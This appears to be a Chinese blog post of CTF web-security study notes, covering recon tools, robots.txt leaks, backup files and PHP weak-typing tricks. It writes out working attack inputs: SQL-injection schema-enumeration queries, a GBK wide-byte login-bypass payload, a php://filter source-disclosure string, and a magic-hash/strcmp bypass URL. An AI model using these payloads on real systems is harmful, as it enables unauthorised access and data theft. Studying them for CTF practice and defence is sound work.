Web安全初识

之前参加过信息安全铁人三项赛和全国大学生Web安全测试,现在总结下知识点和收获。

常见的分类

常见的web漏洞,诸如SQL注入、XSS、文件包含、代码执行、上传等漏洞

密码学:包括古典加密技术、现代加密技术

MISC安全杂项:流量包分析

隐写术: 图片隐写

常用工具

Burpsuite,HTTP抓包,截包,伪装用的

firefox_firebug

firefox_modifyheaders,修改HTTP头用的

御剑,主要用来对Web系统的后台进行扫描,他自带一些对PHP、ASP、JSP等项目的后台目录进行扫描的字典(其实就是系统后台文件可能有哪些路径,把可能情况都列举出来,放在一个文件里,然后逐个尝试进行HTTP请求)

Sqlmap,sql暴力破解用的

中国菜刀,找出后台敏感文件用的,能获取后台的文件目录

CTF中的web安全方面

1. 直接查看源码

程序员可能把信息写在注释里,这是最简单的。

2. 查看、修改或者添加HTTP请求头响应头

需要对HTTP协议的请求头、响应头的字段有了解;如何截包修改并发送;还有HTTP状态码

3. 302跳转的中转网页有信息

也需要截包工具,我用的是burpsuite

4. 查看开发者工具的控制台

开发者工具控制台对从事Web方面的工作的人很重要

5. javascript代码,包括js加解密

6. 使用burpsuite拦截

7. robots.txt

什么是robots.txt?为了不让搜索引擎索引网站的后台页面或其它隐私页面,我们将这些路径在robots.txt文件中禁用了。但矛盾的是,robots.txt文件任何人都可以访问,包括黑客。为了防搜索引擎,我们把隐私泄露给了黑客。

robots.txt干什么的?robots.txt基本上每个网站都用,而且放到了网站的根目录下,任何人都可以直接输入路径打开并查看里面的内容,如:http://www.baidu.com/robots.txt。 该文件用于告诉搜索引擎,哪些页面可以去抓取,哪些页面不要抓取。一般而言,搜索引擎都会遵循这个规律。

robots.txt如何使用?在网站根目录下创建一个文件,取名robots.txt,文件名必须是这个!然后设置里面的规则。比如我有一个OA办公系统,我要设置不允许任何搜索引擎收录本站。robots.txt中就设置如下两行即可。

1
2
User-agent: *
Disallow: /

如果要限制不让搜索引擎访问我们后台admin目录,则规则改为:

1
2
User-agent: *
Disallow: /admin/

robots.txt如何防黑客?像上面的例子中,我们为了让搜索引擎不要收录admin页面而在robots.txt里面做了限制规则。但是这个robots.txt页面,谁都可以看,于是黑客就可以比较清楚的了解网站的结构,比如admin目录啊、include目录啊等等。

有没有办法既可以使用robots.txt的屏蔽搜索引擎访问的功能,又不泄露后台地址和隐私目录的办法呢?有,那就是使用星号 * 作为通配符。举例如下:

复制代码代码如下:

1
2
User-agent:
Disallow: /a*/

这个设置,禁止所有的搜索引擎索引根目录下a开头的目录。当然如果你后台的目录是admin,还是有可以被人猜到,但如果你再把admin改为admmm呢?还有会谁能知道?总结下,为了不让搜索引擎索引网站的后台目录或其它隐私目录,我们将这些路径在robots.txt文件中禁用了。又为了让robots.txt中的内容不泄露网站的后台和隐私,我们使用星号 * 来修改设置项。最后为了不让黑客猜到真实的路径,我们可以把这些敏感的目录进行非常规的重命名。

8. PHP、ASP代码审计

PHP、ASP都是弱类型语言,语言本身比强类型语言不安全。

9. SQL注入是最大的隐患

可以使用sqlmap,也可以自己拼凑字符串

在对MySQL进行注入的时候,经常拼接如下的语句尝试从数据库获取信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 查看用户数据库名称
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA
select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.SCHEMATA
# 查询当前数据库表
select group_concat(TABLE_NAME),group_concat(table_type)
from INFORMATION_SCHEMA.TABLES where table_schema=(select database())
select TABLE_NAME,table_type from INFORMATION_SCHEMA.TABLES where table_schema=(select database())
# 查询指定表的所有字段
select column_name,column_type from information_schema.columns where table_name='ctf_user'
select group_concat(column_name),group_concat(column_type) from information_schema.columns where table_name=
# rollup的使用
order by column_name with rollup

在一些老系统中,文件编码、数据库字符集都可能是gbk,这时候系统可能存在宽字节注入的风险,比如可以这么构造

1
2
%bf%5c会形成一个汉字
login=%bf' or 1=1 -- - &password=123

10. 简单的脚本使用

基于时间的盲注和基于布尔值的盲注都需要自己写脚本,python脚本或者java脚本

11. 后台登录

包括弱密码(即常见的密码,指的是admin、root等常见密码)

12. 代码逆向

设计的内容较多,我不怎么会。应该和Java的反编译类似吧

13. 上传绕过

譬如双后缀文件上传,“一句话木马”

14. hash函数

比如md5、sha1都是hash函数

15. 备份文件

php的备份文件。比如index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~ 或者 index.php.bak

vim的备份文件。比如index.php 在被vim编辑的过程中有.index.php.swp文件生成

Mac OS系统下的.DS_Store

Tomcat远程部署的war包文件,所以应该把Tomcat webapps目录下的host-manages manages目录删掉,

16.验证码

我不太了解

包括伪造、修改cookie

18. MD5碰撞

碰撞指的是不同的内容进行加密却可能得到相同的加密后结果

PHP中的语言漏洞

$_GET 和 $_POST

http://ctf4.shiyanbar.com/web/false.php?name[]=a&password[]=b 如果 GET 参数中设置 name[]=a,那么 $_GET[‘name’] = [a],PHP 会把 []=a 当成数组传入, $_GET 会自动对参数调用 urldecode。

$_POST 同样存在此漏洞,提交的表单数据,user[]=admin,$_POST[‘user’] 得到的是 [‘admin’] 是一个数组。

php://filter

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。

常用padload

1
php://filter/read=convert.base64-encode/resource=index.php

md5

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

这也是一道php代码审计题目,涉及的知识点有

  1. PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。参照这里

  2. 弱类型匹配和strcmp的数组get漏洞,其中 strcmp(数组,字符串)== 0

可以构造payload如下:

1
http://47.93.190.246:49162/?v1=QNKCDZO&v2=240610708&v3[]=0

hash 比较的问题

0e 开头且后面都是数字会被当作科学计数法,也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
'0e509367213418206700842008763514' == '0e481036490867661113260034900752'
'0e481036490867661113260034900752' == '0'
var_dump('0' == '0e1abcd');
var_dump(0 == '0e1abcd');
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

如果要找出 0e 开头的 hash 碰撞,可以用如下代码

1
2
3
4
5
6
7
8
9
10
<?php
$salt = 'vunp';
$hash = '0e612198634316944013585621061115';
for ($i=1; $i<100000000000; $i++) {
if (md5($salt . $i) == $hash) {
echo $i;
break;
}
}
echo ' done';
If you think the content is useful to you.